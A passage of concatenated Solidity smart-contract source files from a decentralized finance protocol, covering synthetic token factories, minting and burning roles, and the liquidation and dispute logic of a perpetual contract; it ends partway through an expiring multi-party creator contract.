// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the perpetual unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// To avoid precision loss or overflows, prevent the token scaling from being too large or too small.
FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10
FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10
require(
params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling),
"Invalid tokenScaling"
);
// Input from function call.
constructorParams.configStoreAddress = configStore;
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.fundingRateIdentifier = params.fundingRateIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.tokenScaling = params.tokenScaling;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/FinderInterface.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "./Registry.sol";
import "./Constants.sol";
/**
* @title Base contract for all financial contract creators
*/
abstract contract ContractCreator {
address internal finderAddress;
constructor(address _finderAddress) public {
finderAddress = _finderAddress;
}
function _requireWhitelistedCollateral(address collateralAddress) internal view {
FinderInterface finder = FinderInterface(finderAddress);
AddressWhitelist collateralWhitelist =
AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted");
}
function _registerContract(address[] memory parties, address contractToRegister) internal {
FinderInterface finder = FinderInterface(finderAddress);
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
registry.registerContract(parties, contractToRegister);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./SyntheticToken.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Factory for creating new mintable and burnable tokens.
*/
contract TokenFactory is Lockable {
/**
* @notice Create a new token and return it to the caller.
* @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.
* @param tokenName used to describe the new token.
* @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals used to define the precision used in the token's numerical representation.
* @return newToken an instance of the newly created token interface.
*/
function createToken(
string calldata tokenName,
string calldata tokenSymbol,
uint8 tokenDecimals
) external nonReentrant() returns (ExpandedIERC20 newToken) {
SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);
mintableToken.addMinter(msg.sender);
mintableToken.addBurner(msg.sender);
mintableToken.resetOwner(msg.sender);
newToken = ExpandedIERC20(address(mintableToken));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Burnable and mintable ERC20.
* @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles.
*/
contract SyntheticToken is ExpandedERC20, Lockable {
/**
* @notice Constructs the SyntheticToken.
* @param tokenName The name which describes the new token.
* @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external override nonReentrant() {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Remove Minter role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Minter role is removed.
*/
function removeMinter(address account) external nonReentrant() {
removeMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external override nonReentrant() {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Removes Burner role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Burner role is removed.
*/
function removeBurner(address account) external nonReentrant() {
removeMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external override nonReentrant() {
resetMember(uint256(Roles.Owner), account);
}
/**
* @notice Checks if a given account holds the Minter role.
* @param account The address which is checked for the Minter role.
* @return bool True if the provided account is a Minter.
*/
function isMinter(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Minter), account);
}
/**
* @notice Checks if a given account holds the Burner role.
* @param account The address which is checked for the Burner role.
* @return bool True if the provided account is a Burner.
*/
function isBurner(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Burner), account);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Perpetual.sol";
/**
* @title Provides convenient Perpetual Multi Party contract utilities.
* @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode.
*/
library PerpetualLib {
/**
* @notice Returns address of new Perpetual deployed with given `params` configuration.
* @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed Perpetual contract
*/
function deploy(Perpetual.ConstructorParams memory params) public returns (address) {
Perpetual derivative = new Perpetual(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PerpetualLiquidatable.sol";
/**
* @title Perpetual Multiparty Contract.
* @notice Convenient wrapper for Liquidatable.
*/
contract Perpetual is PerpetualLiquidatable {
/**
* @notice Constructs the Perpetual contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualLiquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./PerpetualPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title PerpetualLiquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract PerpetualLiquidatable is PerpetualPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PerpetualPositionManager only.
uint256 withdrawalLiveness;
address configStoreAddress;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
// Params specifically for PerpetualLiquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualPositionManager(
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.fundingRateIdentifier,
params.minSponsorTokens,
params.configStoreAddress,
params.tokenScaling,
params.timerAddress
)
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position
// are not funding-rate adjusted because the multiplier only affects their redemption value, not their
// notional.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated),
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
_getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final
* fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePrice(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
// Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at
// liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in
// the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio.
FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement);
// If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./ExpiringMultiPartyLib.sol";
/**
* @title Expiring Multi Party Contract creator.
* @notice Factory contract to create and register new instances of expiring multiparty contracts.
* Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints
* that are applied to newly created expiring multi party contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* EMP CREATOR DATA STRUCTURES *
****************************************/
struct Params {
uint256 expirationTimestamp;
address collateralAddress;
bytes32 priceFeedIdentifier;
